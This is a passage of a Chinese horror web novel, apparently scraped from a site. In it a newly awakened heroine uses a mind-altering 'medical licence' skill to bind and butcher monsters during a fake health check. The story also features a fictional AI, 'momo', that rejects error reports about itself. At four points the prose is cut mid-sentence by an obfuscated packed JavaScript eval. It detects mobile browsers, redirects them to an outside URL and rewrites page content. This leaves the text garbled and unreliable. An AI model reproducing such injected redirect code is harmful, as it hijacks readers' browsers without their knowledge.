恰在此时,谢臻也完成了对2栋503的调查,来找雁惊春交换情报。 雁惊春将他请进屋,刚一落座就听他迫不及待地道:“2栋503的蜕果然特殊。它们虽然外形与其它蜕无异,但在行为上与众不同——它们家格外热衷帮助邻里。” “我那几位‘家人’也是。”雁惊春甩了甩手中的笔记,“它们不知怎么的,特别爱写日记。光最近三天就记录了不少自己干的‘好蜕好事’呢。” 谢臻:“看来你的推测没错,和谐家庭的排名除了要看融合程度,还要看这个家庭做了多少帮助邻居的‘好事’。” “这种排名规则对我们有利啊。如果只按融合程度排名,我们根本没法超越那些蜕,更别提进入居委会了。” 雁惊春笑道:“但是现在,只要我们做了足够多帮助邻居的‘好事’,就有机会作为排行第一加入居委会,直接杀进织茧者的老巢!” 谢臻却摇头:“不,我们的工作到这里就结束了。” “你这是什么意思?织茧者还活着,茧也还没消失啊。”雁惊春皱起眉。 谢臻:“别误会,我不是要放弃这个茧的意思。其实我是破茧行动组的成员,隶属于安全区为对抗织茧者而成立的秘密部门——‘破茧’。” “但我的能力特性是【蜂】,比起进攻更擅长支援,所以只需探查茧内情报、暂时维持茧内稳定即可,后续的破茧工作会有更具攻击性的能力者跟进。” 原来如此,那她岂不是可以躺平了? 雁惊春松了口气,瘫在了沙发上。 谢臻:“对了,下一批会有【蝶】特性的能力者进来,他们擅长推算因果、预知未来,或许能提前看看你会觉醒什么天赋呢。” 雁惊春倒吸一口气,立刻又支棱起来了! 这可万万不能躺平啊! 要是等到【蝶】特性能力者进来,发现她疑似织茧者近亲,岂不是当场就能把她扬了? 好想跑路。可现在这个茧只能进不能出,如果想避开【蝶】特性能力者,就必须赶在他们到来前将茧破除。 她微微抬眼,瞟向坐在对面的谢臻。 在得知新的排名规则后,她对于如何进入织茧者所在的居委会已经有了计划,只是担心能力暴露才没说出口。 可现在情况不同了,与其之后在一群进攻型能力者面前暴露身份,还不如对一个支援型能力者暴露。 毕竟......这样更方便灭口。 在产生“灭口”这一念头的瞬间,雁惊春已将其付诸行动。 她把手放进口袋,顷刻间【行医资格证】便出现在她掌心:“咦?奇怪。” “怎么了?”谢臻循声望过来,双眼清亮柔和,犹如纯真的小鹿。 啧啧,真是个美人。可惜自古美人多薄命啊。 雁惊春冲他笑笑,将【行医资格证】展示给他:“你看,这是什么?” “这是......行医资格证?原来你是医生?等等,好像有哪里不对......”谢臻扶住额头,似乎有些晕眩。 雁惊春正要更进一步,以医生的身份向他下达指令,却见他忽然放下了手,重新与她对视: “雁惊春,你现在......是不是在对我使用技能?” 雁惊春:“!” 她惊了一下,立刻想到了技能描述—— 【行医资格证:当您出示该证件时,看到证件的存在会认同您的医生身份,但对您的信任程度视双方等级而定。】 谢臻受到的影响看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746775|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来很小,难道他的等级比自己高很多? 该死,他知不知道这是哪里?这里可是第9区! 这里的人都是安全区官方眼中的耗材、垃圾,是无论活着还是死了都嫌占地方的累赘! 像他这种高等级的能力者应该地位不低,怎么会同意被派来第9区? 但现在不是考虑这些的时候,她必须尽快为自己的行为做出解释,否则就会引起谢臻的怀疑。 “技能?”雁惊春将【行医资格证】的正面转向自己,一脸的不敢置信:“难道我的技能就是口袋里突然多出小卡片?” 话音落下,她余光瞥见谢臻没忍住笑了,便知道这次算是糊弄过去了。 果然谢臻没再追究她使用技能的事,反倒向她解释:“这可不是普通的小卡片,谁看到它就会被篡改认知。只不过我现在到了孵化后的第三阶段【羽化】,和你等级相差较大,所以效果才不明显。” “这样啊。那我现在是不是已经达到【蠕虫】了?也不知道我属于什么特性......”雁惊春自言自语。 她将问题抛给了谢臻,而谢臻也如她所料给出了答案:“根据你刚才的能力,你的特性很可能和我一样是【蜂】。” 雁惊春:“你的意思是,我也是支援型的能力者?” 谢臻:“不是的,【蜂】这个特性比较特殊,是四大特性中唯一会因能力者性别产生天赋差异的。” “男性【蜂】特性能力者的天赋都是【援护】,擅长治疗和辅助;女性【蜂】特性能力者的天赋都是【支配】,能将自己的意志和思想强加于其他人及非人。” “原来如此。我明白了,谢谢你。”雁惊春真诚地道谢。 谢谢你,帮我找到了绝佳的马甲。 谢臻摆摆手:“不用谢我,觉醒后关于自身能力的信息都会自动刻入脑海,你现在沉下心想想,就会知道自己的天赋是什么了。” 雁惊春依言闭上眼睛作沉思状,过了片刻才重新睁眼。 谢臻期待地看着她:“怎么样?知道自己的天赋了吗?” “知道了。”雁惊春颔首,“是【支配·神医】。” 谢臻笑道:“好巧,我的天赋是【援护·战地医生】,和你很像,看来我们会很合得来。” 雁惊春却没有交朋友的心思。她现在虽有马甲,可一旦碰见【蝶】特性的能力者就容易露馅,所以还是得尽快破茧,早点跑路。 雁惊春:“既然我们会合得来,那要不要试试跟我一起提前破茧?我刚刚想到了进入居委会的办法哦。” 谢臻愣了愣:“就我们两个吗?还是不要吧,你才刚刚孵化,等下一批能力者来了再行动更为稳妥。” “嗯嗯,好的。”雁惊春应了一声,不再多说。 谢臻有些意外,她看上去不像能被轻易说服的人啊? 他不安地确认:“你会等下一批能力者到了再行动,对吧?” “嗯?不是啊,我只是在回应你不跟我合作这件事而已。” 雁惊春露出爽朗的笑容:“至于我嘛,不用担心,我会擅自行动的。” “......”谢臻顿了顿,“不要擅自行动。” 雁惊春:“嗯嗯,好的。” 谢臻:“......” 他与雁惊春对视片刻,无奈地妥协了:“好吧,你想到的进入居委会的办法是什么?” 5. 和谐小区5 “很简单,既然帮邻居解决问题就能提升排名,那我们多帮帮邻居,等排名达到第一不就能进居委会了?”雁惊春摊手。 谢臻:“可是排行的主要依据还是融合程度,我们单靠帮忙是比不过那些蜕的。” “如果等着它们自己出现问题,我们再去解决,那效率太低,的确会被比下去。”雁惊春狡黠一笑,“但是,如果由我们主动制造问题,再统一解决呢?” 谢臻若有所思:“你是想利用你的技能?” “是呀。”雁惊春晃了晃手中的【行医资格证】,“邻居们平时对我多有照拂,现在我成了医生,自然要回报它们。” 谢臻:“你要给它们‘治病’?可它们未必会需要啊。” 雁惊春意味深长地笑了:“不,它们一定会需要的。我很确定,它们都有病。” * “争做和谐家庭,共建和谐小区。小区的和谐需要——滴——” “终于消停了。”雁惊春取下挂在小区大门上的喇叭,一边摆弄一边往位于小区中央的广场走去。 那里已经支起了一个简陋的小棚,四面被临时缝起的窗帘遮挡严实,外面悬挂的条幅上写着“免费体检”几个大字。 等她走近,谢臻正好摆完最后一把椅子,从简易棚中走出:“都准备好了。” 雁惊春点点头,将喇叭的扩音调到最大,冲着几栋居民楼大喊:“好消息,好消息,为回馈广大新老邻居,现隆重推出免费体检活动!” “您还在为家庭不够和谐而困扰吗?您知道您家里藏着哪些不和谐的隐患吗?现在参与体检,我们都能为您解决!名额有限,先到先得!” 喊完一遍后,她将这段录音并设置为循环播放,一时间整个小区都回荡着她中气十足的声音。 谢臻从她手中接过喇叭挂好,有些不确定地问:“这样就可以了?那些蜕会过来吗?” “放心吧,你没发现它们都很爱凑热闹吗?更何况现在是午休时间,我这么扰民,就算没蜕过来体检,总有蜕过来骂我吧?” 雁惊春说着将【行医资格证】用夹子夹在胸口:“反正只要它们来了,就必须体检完才能走。啊,你看,这就有蜕来体检了。” 谢臻看向她手指的方向:“不,它们应该是来骂你的。” 只见3号单元楼内,一团臃肿的身影匆匆跑出。 那是三只黏连在一起的蜕,它们的融合程度很高,中间那只蜕的身体几乎被彻底吞没了,脑袋和四肢只能像触角一样从身体的上下两端探出。 此时它们的三张脸上都写满怒容,六只脚两只手一齐在地上挪动,迅速和雁惊春两人拉近了距离。 被如此畸形的怪物逼近,谢臻下意识将手按在了腰间的枪上。雁惊春却依旧神情自若,甚至还有心思仔细观察这三只蜕的形态。 咦,奇怪,中间那只蜕脸上本该是鼻子和嘴巴的位置,怎么只剩下两个小揪揪了? 就像是被揪掉了什么东西一样。 雁惊春立即联想到了“妹妹”笔记中写的:【刮掉鼻子,扯掉嘴巴】。 看来这就是被“妹妹”帮助过的壮壮一家。 此时三只蜕已经手脚并用地来到了她面前,右边的娃娃脸厉声咆哮:“你好吵!你知不知道现在是午睡时间——” “哎呀,这不是壮壮妹妹吗?好久不见了!”雁惊春满脸惊喜,主动迎上前:“你不记得我了吗?我是春春啊!” 娃娃脸的咆哮戛然而止,嘴巴却还没来得及闭上,显得有点呆:“春春......春春妹妹?” “对,春春妹妹是我的家人,你之前嫌你爸爸睡觉时太吵,还是她帮你解决的呢。”雁惊春笑眯眯地说道。 关系扯到这份上,三只蜕已经不太好继续发火了,左边的壮壮妈妈尴尬地打圆场:“不好意思,妹妹爱凑热闹,听到声音就非要下来看看,打扰你搞活动了吧?我们这就......” 来都来了,雁惊春哪能让它们轻易离开? 她不动声色地挪动脚步,拦住它们的去路,语气关切:“对了,之前壮壮妹妹说她爸爸夜里吵,是怎么个吵法?是打呼噜吗?” “这、应该算是吧?”壮壮妈妈的目光四处乱瞟,壮壮妹妹也偷偷迈开了腿,想要寻机溜走。 “天哪!这可不是小事!”雁惊春突然大叫一声,吓得壮壮一家定在了原地。 她严肃地点了点胸口的【行医资格证】,将它们的视线吸引过来:“你们知道它会打鼾,那有没有带它查过打鼾的原因?春春妹妹的方法治标不治本,如果你们因为它不打鼾了就放松警惕,以后一定会影响和谐的!” 三只蜕的视线在【行医资格证】上停留了一瞬,再看向雁惊春时表情明显变了。 壮壮妈妈神色忧虑:“医生,你的意思是爸爸可能生病了吗?这会影响我们家的和谐吗?” “当然!要我说,你们这种漠视家人健康的行为,已经很不和谐了。”雁惊春态度严厉。 壮壮妹妹满脸焦急:“医生,我们想要成为和谐的一家,请你帮爸爸治病吧。” “没问题,我们举办这次免费体检活动,本来就是为了帮助邻居们解决问题的。”雁惊春满意地撩起帘子,“请进,我来为你们检查一下。” 等三只蜕落座后,她也在它们对面坐下,往后一伸手:“助手,麻烦递两条毛巾过来,谢谢。” 谢臻默默上前,将两条毛巾放到她手心。 雁惊春将毛巾分别递给壮壮妈妈和壮壮妹妹:“待会儿可能会有点痛,但是妹妹还小,为了不影响它的智力发育,我就不给你们打麻药了,你们咬着这个就行。” 壮壮妹妹有些退缩:“会痛吗?” “放心吧,就一点点痛而已,只是个小检查。”雁惊春安慰了一句,帮它们塞好毛巾,又一伸手:“助手,麻烦给我绳子。” 等谢臻递来绳子后,她一面捆猪似的将三只蜕的手脚捆在一起,一面解释:“这个是为了防止你们等下胡乱挣扎伤到自己的,以防万一而已,不用担心,小检查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746776|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到绳结系紧,确认三只蜕已经无法反抗,只能任她宰割后,雁惊春的脸上终于浮现出阴恻恻的笑容: “助手,斩骨刀。” * “快了快了,下一个就是我们家了。”和谐小区广场的简易棚外,住在2栋503的毛毛弟弟正探头往里张望。 它们一家对“和谐”尤为重视,不仅追求自己家庭的和谐,也乐于帮其它家庭变得和谐,是整个小区中最爱帮助邻居的家庭。 因此,它们在听到小区内举办了能促进家庭和谐的体检活动后,毫不犹豫地决定报名参加。 可参与这个活动的邻居实在太多了,它们又总忍不住要帮后面的邻居插队,导致它家一直坠在队伍末尾,直到所有邻居体检完毕,太阳都要落山了才轮到它们。 终于,面前的帘子再度掀开,一个目光呆滞的女人走了出来。 她面无表情地扫了它们一眼,用微微颤抖的手指点了点胸前的证件:“看。” 毛毛弟弟好奇地望过去,发现那是一张行医资格证。 哦,原来她是医生。 女人确认它们一家都看清了证件后,又用沙哑的嗓音吐出一个字:“进。” 它们跟在女人身后进入简易棚,恰好一个男人也掀起对面的帘子走了进来。 毛毛弟弟眼尖地从帘子起落间瞥见了外面的东西,立刻提问:“外面那是什么?好像垃圾桶哦。” 男人还没来得及回答,女人已先一步挡在了它面前:“你看错了,那是上一位患者,我的助手去送送它们而已。” 原来是这样,难怪它只见到有邻居进去,没见到有邻居出来,原来它们都是从后门走的呀。 “上一位患者和我们是一栋的。它们生了什么病?”毛毛弟弟歪了歪头。 女人引导它们坐下,语调漫不经心:“它们啊?它们本来是分开的两家,直到高层的那家昨天摔下楼,砸进了二楼那家的身体里。” “虽然不知道是什么原因导致了这场意外,但现在它们已经彻底接纳了彼此,就是融合的形态不方便日常生活,找我塑塑形。” 毛毛弟弟咧开嘴笑了:“真好呀,听起来真和谐呀,我们也是为了变得更加和谐才过来体检的。” “嗯嗯。”女人递过来一团毛巾,“咬住。做个小检查。” 毛毛弟弟依言张开嘴,含住毛巾。 紧接着女人又拿起绳子,拉扯面团似的将它们的手脚都拽到一起,然后捆成一束。 奇怪,体检是这样做的吗? 毛毛弟弟刚产生这个疑问,女人佩戴的【行医资格证】的模样便在它脑海中浮现。 对哦,她是医生,那她说得应该没错。 要听她的话,要好好完成体检。 这都是为了......为了什么来着? 毛毛弟弟皱起眉苦思冥想了一阵,终于在纷乱的思绪中回想起了自己的目的。 对了,这都是为了—— 变得更加【健康】。 6. 和谐小区6 “刚才处理的就是最后一家蜕了。”谢臻掀开门帘走了进来,“垃圾桶已经装不下了,我就先把它们打包好放在旁边了。” 雁惊春仰着头瘫在椅子上,掀起眼皮看了谢臻一眼,“嗯”了一声表示自己听到了。 “你还好吗?抱歉,我没能帮上什么忙。”谢臻坐到雁惊春旁边,向她伸出手。 霎时间,柔和的光芒自他掌心冒出,笼罩住雁惊春疲惫的身体。 她酸痛的肌肉随之放松,喉咙的干涩也消散一空。 雁惊春惬意地呼出口气。还好谢臻的天赋【援护·战地医生】可以治愈伤痛,每当她为蜕诊治一段时间后都会帮她缓解疲劳,否则她很难撑到现在。 身体的不适消减,雁惊春终于有了搭话的精神:“没事,谁让那些蜕只肯让我治疗呢。不过它们现在都被堆在一起,会不会重新融合?” 谢臻摇头:“它们在被你‘治疗’过后,虽然还能蠕动,但已经完全丧失了彼此融合的能力,可能你的技能还在影响着它们。” “那就好。”雁惊春笑道,“助手,给我看看现在的排行情况吧。” 谢臻对于这个新称呼已然接受良好,依言在光脑上调出界面,凑近给她看。 【本期活动结束倒计时:2天】 【本期和谐家庭排名: 第一名-3栋303 第二名-3栋203.....】 谢臻:“现在你是第一名,我是第二名。其它蜕的融合程度被你大幅削弱,‘帮助’邻居的次数也远不及你,已经不可能再与我们争夺排名第一了。” “但倒计时还剩两天,说明我家在织茧者眼里还不够和谐。”雁惊春沉吟片刻,“不如你待会儿搬到我家来,把我们两个‘帮助’邻居的次数合到一家,这样应该就足以进入居委会了。” “搬家可以,但今天不行。”谢臻果断拒绝。 雁惊春有些意外:“为什么?” 谢臻一脸认真地盯着她:“你现在的状态不好,今晚必须好好休息。等明天你休息好了我们再行动。” 明天?可万一明天【蝶】特性的能力者就到了怎么办?她可不想被识破身份! 雁惊春心中焦急,据理力争:“我状态很好啊,你刚刚不是已经给我治疗过了吗?” “我能治疗身体上的负面状态,精神上的疲惫却无法治愈。”谢臻寸步不让,“你从中午到现在一直不间断地使用技能,即便是比你等级高的能力者都不会用得如此频繁。” “还有,你现在是不是胃不舒服?我给你的两支营养剂你都喝了吗?不会忙得忘了喝吧?你不会以为我的治疗短暂抑制了饥饿感,就可以不用进食了吧?” 雁惊春被他这一连串问题问得唉声叹气:“助手,我好怀念你刚见面时客套的样子。” “不用怀念,我还没死呢。”谢臻板着脸又塞给她几支营养剂,将她推出简易棚:“你的刀自己带走,剩下的东西我来收拾。你现在要做的就是赶紧把营养剂喝了,然后好好回去休息。” 雁惊春走出几步,回头看看谢臻忙碌的身影,思考了一下把他强行打晕带走的可能,最终还是决定作罢。 倒不是她突然有了怜香惜玉的心思,只是谢臻说得没错,她现在的确胃不舒服。 准确的说,是很饿。 谢臻下午给她的两支营养剂她早就吃掉了,可腹中的饥饿感却丝毫没有减轻。 她举起一支刚拿到的营养剂,借着昏暗的月光去瞧上面的标签。 这支营养剂和下午那两支品牌相同,除了口味上略有差异外,依旧是日期新鲜,价格昂贵,一支就够她半个月的伙食费。 她单手将其扭开,仰头一口气喝光。 一点味道都没有。 不仅根本尝不出标签上写的“酸辣草莓炒折耳根风味”,还完全没有饱腹感。 怎么,难道第9区平民和中心区上等人之间不仅有财富隔离,还有食谱隔离? 雁惊春胡思乱想着往家走去,路上将谢臻给的几支营养剂喝了个精光。 完全没用。她还是好饿。 被谢臻的治疗暂时压抑住的饥饿感卷土重来,甚至变得更加强烈。 雁惊春咬牙捂住腹部,强撑着打开家门,连手中的斩骨刀都来不及放下就直奔厨房。 * 谢臻收拾好残局返回3号单元楼的路上,一直在反思自己说过的话。 刚才自己态度太过强硬了,语气也过于严厉,一连串的提问很容易让人厌烦。她刚孵化就立刻在破茧时独挑大梁,自己本该好好地表达感谢。 还有,直接把营养剂给她的行为也欠妥,第9区应该买不到这种营养剂,自己应该仔细说明口味区别,然后确保她喝下后胃不再难受才对。 要不要现在过去找她,弥补一下自己的错误?可现在已经很晚了,打扰她也不太好...... 正纠结着,谢臻走到了小区的公告栏附近,下意识地瞟去一眼。 下一秒,他顿在了原地。 只见公告上写着: 【本期和谐家庭评比活动已圆满结束,下期活动开始时间请以居委会公告为准,感谢各位居民朋友对本期活动的大力支持。】 【本期当选。该死!家庭的是:3栋303】 【请上述。该死!家庭按时。该死!到和谐小区居委会报到。和谐。】 【和谐小区。和谐。该死!到居委会来!和谐。和谐小区。宣】 怎么可能!评比竟然已经结束了? 看着字里行间溢出明显恶意的公告,谢臻如坠冰窟,赶忙狂奔向3号单元楼。 奔跑中他打开光脑,疯狂点击刷新界面,然而每次加载出的内容都显示:【本期活动结束倒计时:2天】。 “申请报错!申请联系调度员!”谢臻冲着光脑大吼,“茧内情况判断有误,需要立刻重新制定行动方案!” 【您的报错申请已驳回。驳回理由:经人工智能momo自查,未发现错误。】 【联系调度员失败。失败原因:调度员已离线。】 【茧内信息收集中......情报分析中......人工智能momo已重新为您制定行动方案。】 【尊敬的破茧行动组谢臻,您当前的任务为:一、探查茧内情报并上传平台;二、维持茧内状况稳定;三、准备接应下一批能力者。】 momo每回应一个诉求,谢臻的心就坠得越沉。 技术组怎么能把momo报错的驳回权限交给momo自己? 调度组怎么能在对接的行动组成员执行任务时擅自离线? 据说从未出错,指引能力者们完成过无数次任务的人工智能momo怎么会突然失灵? 谢臻的脑中闪过许多疑问,可现在都无暇深究。 他匆忙赶到303门口,用力敲门:“雁惊春!你在吗?情况紧急,本期评比已经结束了!” 见无人回应,他毫不犹豫地拔出枪,对准门锁连开几枪,推门闯了进去。 室内黑漆漆的,没有开灯。 谢臻打开照明开关,电灯随之发出嘶哑的“嗡嗡”声,两秒后,昏黄的灯光照亮了与他离开时别无二致的房间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746777|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人,没有人。房间里到处都找不到雁惊春的身影。她已经像之前加入居委会的蜕一样,进入了织茧者所在的空间。 谢臻怀有的最后一丝侥幸被彻底击碎,他急促地喘息着,眼眶发热。 是他的错,是他不辨真假地将momo提供的错误情报传达给了她。 是他害死了她。 然而就在这时,他忽然想起了雁惊春向蜕挥刀的样子。 ......万一,她还没有死呢? 谢臻做了几个深呼吸,命令自己冷静下来。 他必须试着为她提供帮助。哪怕他无法与她一同直面织茧者,哪怕她可能已经遇害,哪怕自己的技能或许无法链接到她所在的空间。 他在心中暗道了声“抱歉”,迅速在屋内搜索出雁惊春的衣物,筑巢似的将它们堆放到客厅中间,随后躺进了衣物堆里。 谢臻闭上眼睛,努力在脑中勾勒起雁惊春的形象。 * 雁惊春已经完全不在乎自己的形象了。 她现在饿极了,只要能填饱肚子,哪怕叫她茹毛饮血她也愿意。 而她从二手市场淘来的冰箱好似已经认主,居然贴心的实现了她内心的想法—— 当她打开冰箱门,便看到抽屉里塞满了大块大块的肉。 她的大脑还在迟钝地思索着这种天价食材为何会出现在自己的冰箱,手却已经不受控制地抓住了最大的肉块。 看起来好美味。她举起肉块送到嘴边。 然而还没等她的牙齿咬上去,手中的肉块突然发出一声痛呼:“好痛!别扯了,我的头要掉下来了!” 雁惊春微微一怔,那肉块立即趁机从她手中逃脱,扭曲着缩回冰箱,霎那间由一块四四方方的肉块变成了一颗圆滚滚的脑袋。 “砰!”地一声,冰箱门自动关闭,细碎的交谈声自门内传出: “三姑,你应该再坚持一下的!这样不就暴露了吗?” “我的头都要被她扯掉了!而且她还要咬我,你没看到吗?” “那你就给她咬好了,说不定能让她更快成为我们的家人呢,就不用等到她睡着再动手了。” “那五伯你去给她咬啊!我早就说了我模仿不来她冰箱里那些瓶瓶罐罐,要不是你们非把我安排到这儿......” 眼见冰箱里的争论愈发激烈,将它们包裹在内的冰箱声如洪钟地制止道:“行了都别吵了!我已经及时把门关上了,她发现不了的!” 话语落下,室内重归寂静。 雁惊春:“......” 她是饿了,不是傻了。 雁惊春面无表情地举起斩骨刀,猛地捅进冰箱顶部,又狠狠劈下! 瞬间,几道重叠在一起的尖叫声响起:“啊——啊!” 她正欲再砍几刀,整个房间却倏然震颤起来,周围的一切都开始变形。 裂开的冰箱向左右两边倒下,变成了被劈成两半的躯干,体内和之前的蜕一样没有血肉与骨骼。 几颗脑袋“骨碌碌”地滚在地上,口中还在不停尖叫。 墙壁上、地板上、橱柜上接连浮现出一张张扭曲的面孔,紧接着脸的旁边又长出了手和脚,朝着雁惊春疯狂地挥舞着。 雁惊春正要挥刀去砍,几条胳膊却忽然从她的脚边冒出,死死抓住她的双腿,让她无法挪步。 那些脸孔和手脚趁机拼命向外蠕动,迅速将自己从周围的环境中抽出,顷刻间就生长成了脑袋和四肢。 与此同时,厨房外也传来窸窸窣窣的声音,雁惊春扭头去看,正对上几颗伸长了脖子探过来的头颅。 7. 和谐小区7 “被发现了,被发现了......” “是八姐那些手下把事情搞砸了,本来可以悄无声息地让她融入居委会这个大家庭的!” “二婶在哪里?快让二婶来想想办法。” 厨房门口的头颅挨挨挤挤、一颗叠着一颗地堵住房门,一边往里张望一边交头接耳。 厨房内,几条手臂从天花板上垂落,捡起滚落一地的脑袋,将它们重新送回脖颈。 被雁惊春劈做两半的躯干双手划拉着地面,将两截身体挪到了一起,重新黏合起来。 它们勉强恢复人形后,第一时间却不是去抓雁惊春,反倒开始和门口的头颅们争辩: “谁知道她会到厨房里来?你们二婶不是说她一定会去卧室吗?” “都怪你们通知太迟,八姐根本没时间准备!” 雁惊春趁着它们吵架,将握住她小腿的几条手臂齐腕砍断,然而抓在她腿上的手仍未松开,甚至开始向她的体内钻去。 她立即用砍骨刀扎向其中一只手,抓住它吃痛放松的瞬间将它从腿上扯下,远远丢开。 “呃!”剧痛袭来,雁惊春忍不住痛呼出声。 刚才被她扯掉的那只手已经与她的部分皮肉融合在了一起,强行剥离后,她腿上的一块皮肉也一并被硬生生撕下。 她的身体因疼痛而颤抖不止,但是比起可知的皮肉之苦,她更不想面对被这些手钻入身体的未知后果。 因此她咬紧牙关,毫不犹豫地又扎穿另一只手,猛地将它从腿上撕下! “呼,呼......”迅速将黏住她的五只手全部撕下后,雁惊春身上的衣服已彻底被冷汗浸透,双腿血流如注,几乎无力站稳。 不料就在此时,她的伤处忽然开始发热,而后五个伤口全部凭空消失。如果不是腿上还残留着血迹,她几乎要怀疑受伤只是自己的幻觉。 当务之急是搞清楚现下的状况,雁惊春先把异常的自愈速度记在心底,准备干掉织茧者后再深究,转而观察起周围的环境。 在那些肢体从房间各处冒出,重新组合成一个个人形后,房间的伪装也随之剥落,面积瞬间扩大数倍,露出了“厨房”之下的真容。 这里是一间食堂,雁惊春所处的位置是临近门口的用餐区域,再往里有一排打饭窗口,窗口里面则是后厨。 泛黄的墙面上贴着红色的标语:【和谐小区居委会食堂,仅供居委会内部人员用餐。】 难道她已经进入居委会了?可是谢臻不是说本期评比倒计时还有2天吗? 算了,毕竟茧内如何运作是由织茧者决定的,说不定它就是故意放出假消息来坑自己呢。 雁惊春很快接受了自己即将直面织茧者的事实,开始查看自己的天赋。【织茧·庸医】每24小时只能启用一次,现在天赋冷却时间还有三个多小时。 比冷却时间更棘手的是,她的天赋只能将面积为10平方米的空间划定为诊所,而她所在的食堂显然远超10平方米,她的天赋根本无法生效。 她的技能【行医资格证】倒是可以正常使用,然而现在食堂内外聚集的蜕太多了,她没法同时对付这么多蜕,只能等织茧者出现再单独对它使用技能。 话说回来,她现在已经进入了居委会,怎么还没见到织茧者? 她望向食堂内外还在争吵不休的两拨蜕,它们看起来都不像织茧者,而且和小区里那些蜕也大不相同。 首先,虽然它们的体型也有高矮胖瘦之分,但都是独立的个体,没有彼此黏连。 其次,它们显然比小区里的蜕聪明了不少,说话时也不再一直将“和谐”挂在嘴边。 最后,也最令雁惊春意外的是,它们居然分成了两个不同的派系,且派系内部似乎还存在着阶级关系。 食堂内的蜕属于“八姐”一派,食堂外的蜕属于“二婶”一派。从它们的骂战中不难听出,现在的居委会主任是二婶,八姐则是副主任,八姐派也因此被二婶派压了一头。 雁惊春:啊这,这不够和谐吧? 她原本以为,居委会既然以家庭的“和谐”为进入标准,那居委会内部一定更加其乐融融,却不想居委会里的蜕们涨了智商,和谐程度却大打折扣。 眼看着两边的蜕越吵越凶,已经有了要动手的意思,食堂外突然远远传来一道声音:“堵在门口做什么?都进去!” 此言一出,两边的蜕霎时噤声。 里面的蜕虽一脸不情愿,却还是乖乖向后退去,让出了空间;外面的蜕则像是找到了靠山,大摇大摆地走进了食堂。 它们聚到一起后没再继续争执,而是安静地分列食堂门两侧,一动不动地低头站着。 雁惊春偷偷凑过去,站在了队伍末尾。 “咚!咚!咚!”门口传来沉重的脚步声,紧接着一大片白花花的肉映入眼帘。 雁惊春乍看之下,还以为那是一个硕大的肉球,直到它逐渐挤进门内,才发现那其实也是一个人形的蜕。 它的身高接近三米,体态臃肿犹如球形,身上的肉凸一块凹一块,并不平滑。因为太过肥胖,它每迈出一步,浑身的肉都抖动不休。 食堂的门已经修得格外宽大,可它进门时身体还是卡在了门框上,随着它竭力往门内挤的动作,肉与门框不断摩擦,发出“刺啦刺啦”的声音。 挤了许久还没能进门,它开始抱怨:“我不是说了,要将食堂的门加高一些、再加宽一些吗?八姐,这事是交给你去办的吧?” 在这堵肉墙后面,又一道声音传出:“二婶,我三天前就找九叔帮忙改尺寸了,他当时向我保证,一定能在您下次过来前改好。” 被点到名字的九叔站在二婶派的队伍中,浑身颤抖:“二婶,我是按照您三天前的尺寸改的!是您这几天又惩罚了几个破坏和谐的委员,所以尺寸才——啊!” 它话还没说完,二婶便伸出宽大的手掌,在它胸口重重抹了一把。 一大片肉随着二婶的动作从九叔胸前脱落,又被二婶“啪”一下贴到了自己的肚子上。 那片肉一接触到二婶的肚皮,立刻与它原有的肉黏连在了一起,二婶的肚子上便又多出了一块不规则的凸起。 它用力往里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746778|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤了一下,终于将整个身体挤进了食堂,斜睨着瘦了一圈的九叔:“八姐交代的任务,你都敢不完成?这是替八姐罚你的。” 在二婶身后,另一只体型臃肿但远逊于它的蜕也走了进来:“二婶,九叔没完成我交代的事,这不仅是不尊重您,也是不尊重我,所以我也得罚它......” “不用。我不是说了吗?我替你罚了。”二婶打断了八姐,“况且,你自己也有件事没办成,是不是也该罚?” 说完它转过头,看向队伍的末尾。 雁惊春也正仰着头看它。虽然她没找到被二婶隐藏在肥肉里的眼睛,但她的确感受到了二婶的注视。 在二婶开了头后,其它的蜕也纷纷转过脸,齐齐盯住雁惊春。 雁惊春咽了咽口水。 这并非因为害怕,而是因为......实在是太香了。 